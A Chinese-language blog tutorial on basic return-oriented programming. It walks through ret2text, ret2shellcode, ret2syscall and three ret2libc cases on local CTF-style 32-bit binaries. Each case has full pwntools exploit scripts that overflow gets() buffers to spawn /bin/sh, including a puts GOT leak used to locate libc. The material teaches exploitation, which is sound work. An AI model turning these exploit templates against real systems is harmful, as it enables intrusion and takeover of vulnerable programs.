基本ROP

Posted by nop on 2020-01-03
Words 1.8k In Total

因为NX保护的开启,直接向栈或者堆上直接注入代码的方式变得不可行,随之而生的是ROP(Return Oriented Programming)技术,栈缓冲区溢出的基础上,利用程序中已有的小片段 (gadgets) 来改变某些寄存器或者变量的值,从而控制程序的执行流程。

ROP一般满足的条件:

  • 程序存在溢出,并且可以控制返回地址
  • 可以找到满足条件的gadgets以及相应的gadgets的地址

ret2text

ret2text 即控制程序执行程序本身已有的的代码 (.text)。
例子,

1
2
3
4
5
6
7
8
9
10
11
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [sp+1Ch] [bp-64h]@1

setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("There is something amazing here, do you know anything?");
gets((char *)&v4);
printf("Maybe I will tell you next time !");
return 0;
}

32位程序,仅开启了NX保护。main函数中,gets函数会造成栈溢出,此外还存在一个后门函数secure

1
2
3
4
5
6
7
8
9
10
11
12
13
void secure()
{
unsigned int v0; // eax
int input; // [esp+18h] [ebp-10h]
int secretcode; // [esp+1Ch] [ebp-Ch]

v0 = time(0);
srand(v0);
secretcode = rand();
__isoc99_scanf((const char *)&unk_8048760, &input);
if ( input == secretcode )
system("/bin/sh");
}

后门函数中逻辑也比较简单,需要让输入值等于随机生成的数才能执行system("/bin/sh")
因为函数中存在指令system("/bin/sh"),所以可以直接将main函数的retn到0x0804863A,然后就可以直接拿到shell;

1
2
3
4
5
6
7
from pwn import *

p = process('./ret2text')

target = 0x0804863A
p.sendline('A'*(0x6c+4) + p32(target))
p.interactive()

ret2shellcode

hellcode 指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的 shell。在栈溢出的基础上,要想执行 shellcode,需要对应的 binary 在运行时,shellcode 所在的区域具有可执行权限。
例子,

1
2
3
4
5
6
7
8
9
10
11
12
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+1Ch] [ebp-64h]

setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("No system for you this time !!!");
gets(&s);
strncpy(buf2, &s, 0x64u);
printf("bye bye ~");
return 0;
}

程序很简单,而且几乎没有开启任何保护,并且有可读,可写,可执行段

Alt

通过主函数的伪代码可以知道,再获取输入之后strncpy会将输入的前0x64字节复制到.bss:0804A080处,先开启调试,看一看这一部分是否可执行

Alt

结果可知部分地址可执行,所以就可以控制程序执行 shellcode,也就是读入 shellcode,然后控制程序执行 bss 段处的 shellcode。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
# shellcode
from pwn import *

p = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
buf2_addr = 0x0804A080

p.recvuntil("No system for you this time !!!")
payload = shellcode.ljust((0x6c+4),'A') + p32(buf2_addr)
p.sendline(payload)
sleep(1)
p.interactive()
# 其他解法
from pwn import *
from LibcSearcher import *

p = process('./ret2shellcode')
elf = ELF('./ret2shellcode')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
log.info('puts_plt = %#x, puts_got = %#x'%(puts_plt,puts_got))

p.recvuntil("No system for you this time !!!")
payload = 'A'*(0x6c+4)
payload += p32(puts_plt) + p32(0x08048430) + p32(puts_got)
p.sendline(payload)

p.recvuntil("bye bye ~")
puts_addr = u32(p.recv(4))
log.info('puts_addr = %#x',puts_addr)

libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
log.info('system_addr = %#x, binsh_addr = %#x'%(system_addr,binsh_addr))

p.recvuntil('No system for you this time !!!')
payload = 'A'*(0x6c+4)
payload += p32(system_addr) + p32(0x08048430) + p32(binsh_addr)
p.sendline(payload)
sleep(1)
p.interactive()

ret2syscall

ret2syscall,即控制程序执行系统调用,获取 shell。
例子,

1
2
3
4
5
6
7
8
9
10
11
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp+1Ch] [ebp-64h]

setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("This time, no system() and NO SHELLCODE!!!");
puts("What do you plan to do?");
gets(&v4);
return 0;
}

程序依旧简单,存在明显的溢出点,但是程序没有后门函数而且开启了NX保护,shellcode的办法不在有效,通过工具并没有找到system函数,不过可以找到int 0x80,所以可以通过系统调用来拿到shell

Alt

1
execve("/bin/sh",NULL,NULL) // 系统调用号为0xb(32位程序)

该程序是 32 位,所以我们需要使得

  • 系统调用号,即 eax 应该为 0xb
  • 第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。
  • 第二个参数,即 ecx 应该为 0
  • 第三个参数,即 edx 应该为 0

接下来就需要通过工具来寻找gadgets了

Alt
Alt

至此,设置寄存器的值的gadgets已全部找到。
此外,还需要获得/bin/sh的地址

Alt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *

p = process('./ret2syscall')

pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x80be408
payload = flat(
['A'*(0x6c+4), pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80])
# payload = 'A'*(0x6c+4)
# payload += p32(pop_eax_ret) + p32(0xb) # 设置eax=0xb
# payload += p32(pop_edx_ecx_ebx_ret) + p32(0) + p32(0) + p32(binsh) # 设置 edx=ecx=0, ebx=binsh
# payload += p32(int_0x80) # 系统调用

p.sendline(payload)
sleep(1)
p.interactive()

ret2libc

ret2libc 即控制函数的执行 libc 中的函数,通常是返回至某个函数的 plt 处或者函数的具体位置 (即函数对应的 got 表项的内容)。一般情况下,我们会选择执行 system(“/bin/sh”),故而此时我们需要知道 system 函数的地址。

例子1,

1
2
3
4
5
6
7
8
9
10
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+1Ch] [ebp-64h]

setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("RET2LIBC >_<");
gets(&s);
return 0;
}

程序很简单,溢出点就在main函数中,此外secure函数中还有system函数

1
2
3
4
5
6
7
8
9
10
11
12
13
void secure()
{
unsigned int v0; // eax
int input; // [esp+18h] [ebp-10h]
int secretcode; // [esp+1Ch] [ebp-Ch]

v0 = time(0);
srand(v0);
secretcode = rand();
__isoc99_scanf("%d", &input);
if ( input == secretcode )
system("shell!?");
}

借助工具查看是否有现成的/bin/sh

Alt

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

p = process('./ret2libc1')
system_plt = ELF('./ret2libc1').sym['system']
log.info('system_plt = %#x',system_plt)

binsh_addr = 0x8048720
payload = flat(['A'*(0x6c+4), system_plt, 0x080484D0, binsh_addr])
# payload = 'A'*(0x6c+4) + p32(system_plt) + p32(0x080484D0) + p32(binsh_addr)
p.sendline(payload)
sleep(1)
p.interactive()

例子2,

与 ret2libc1 大同小异,只不过没有 /bin/sh 字符串,需要自己来读取字符串,所以需要两个 gadgets,第一个控制程序读取字符串,第二个控制程序执行 system(“/bin/sh”)。

1
2
3
4
5
6
7
8
9
10
11
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+1Ch] [ebp-64h]

setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("Something surprise here, but I don't think it will work.");
printf("What do you think ?");
gets(&s);
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *

p = process('./ret2libc2')
elf = ELF('./ret2libc2')

system_plt = elf.sym['system']
gets_plt = elf.sym['gets']
log.info("system_plt = %#x, gets_plt = %#x"%(system_plt,gets_plt))

binsh_addr = 0x0804A080
pop_ebx = 0x0804843D
payload = flat(['A'*(0x6c+4), gets_plt, pop_ebx, binsh_addr, system_plt, 0x08048500, binsh_addr])
# payload = 'A'*(0x6c+4) + p32(gets_plt) + p32(system_plt) + p32(binsh_addr) + p32(binsh_addr)

p.sendline(payload)
sleep(0.1)
p.sendline('/bin/sh\x00')
sleep(1)
p.interactive()

例子3,

1
2
3
4
5
6
7
8
9
10
11
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+1Ch] [ebp-64h]

setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("No surprise anymore, system disappeard QQ.");
printf("Can you find it !?");
gets(&s);
return 0;
}

与前两个程序溢出点一致,但没了 system 和 /bin/sh, 不过可以输出函数puts泄露出got表中某个函数的地址,然后通过LibcSearcher获取相应版本来拿到shell,当然本地也可以通过ldd查看程序的动态连接库,然后根据libc获取shell

Alt

基本利用思路如下:

  • 泄露 got表中函数的地址
  • 获取 libc 版本
  • 获取 system 地址与 /bin/sh 的地址
  • 再次执行源程序
  • 触发栈溢出执行 system(‘/bin/sh’)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *
from LibcSearcher import *

p = process('./ret2libc3')
# lib = ELF('/lib/i386-linux-gnu/libc.so.6')
# system_offset = lib.sym['system']
# binsh_offset = next(lib.search('/bin/sh'))
# puts_offset = lib.sym['puts']
# log.info('system_offset = %#x, binsh_offset = %#x, puts_offset = %#x'%(system_offset,binsh_offset,puts_offset))

elf = ELF('./ret2libc3')
puts_plt = elf.sym['puts']
puts_got = elf.got['puts']
payload = flat(['A'*(0x6c+4), puts_plt, 0x080484D0, puts_got])
p.sendlineafter('Can you find it !?', payload)
sleep(0.1)
puts_addr = u32(p.recv(4))
log.info('puts_addr = %#x',puts_addr)

libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_addr = libc_base + libc.dump('system')
binsh_addr = libc_base + libc.dump('str_bin_sh')
# system_addr = puts_addr - (puts_offset - system_offset)
# binsh_addr = puts_addr - (puts_offset - binsh_offset)
log.info('system_addr = %#x, binsh_addr = %#x'%(system_addr,binsh_addr))

payload = flat(['A'*(0x6c+4), system_addr, 0x080484d0, binsh_addr])
p.sendline(payload)
sleep(1)
p.interactive()

You are welcome to share this blog, so that more people can participate in it. If the images used in the blog infringe your copyright, please contact the author to delete them.